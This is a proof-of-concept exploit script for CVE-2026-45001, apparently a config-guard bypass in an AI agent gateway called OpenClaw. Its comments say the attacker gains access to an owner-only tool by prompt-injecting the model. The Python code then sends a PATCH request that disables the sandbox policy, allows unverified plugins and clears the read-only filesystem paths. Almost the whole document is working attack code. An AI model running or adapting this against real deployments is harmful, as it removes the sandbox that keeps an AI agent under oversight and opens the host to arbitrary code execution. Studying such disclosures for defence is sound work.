CVE-2026-45001

# PoC for CVE-2026-45001: OpenClaw Gateway Config Mutation Guard Bypass # This script demonstrates how an attacker might exploit the bypass to disable sandbox policies. # Prerequisites: The attacker needs to prompt-inject the model to gain access to the owner-only gateway tool. import requests import json target_url = "http://target-openclaw-instance/api/gateway/config.patch" headers = { "Content-Type": "application/json", "Authorization": "Bearer <stolen_or_leaked_owner_token>" } # Malicious payload to disable the sandbox policy and allow arbitrary code execution malicious_config = { "sandbox_policy": { "enabled": False, "restrictions": [] }, "plugin_enablement": { "allow_unverified": True }, "filesystem_hardening": { "read_only_paths": [] } } try: response = requests.patch(target_url, headers=headers, data=json.dumps(malicious_config)) if response.status_code == 200: print("[+] Successfully bypassed guard and updated configuration.") print(f"[+] Response: {response.text}") else: print(f"[-] Failed to update config. Status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}")

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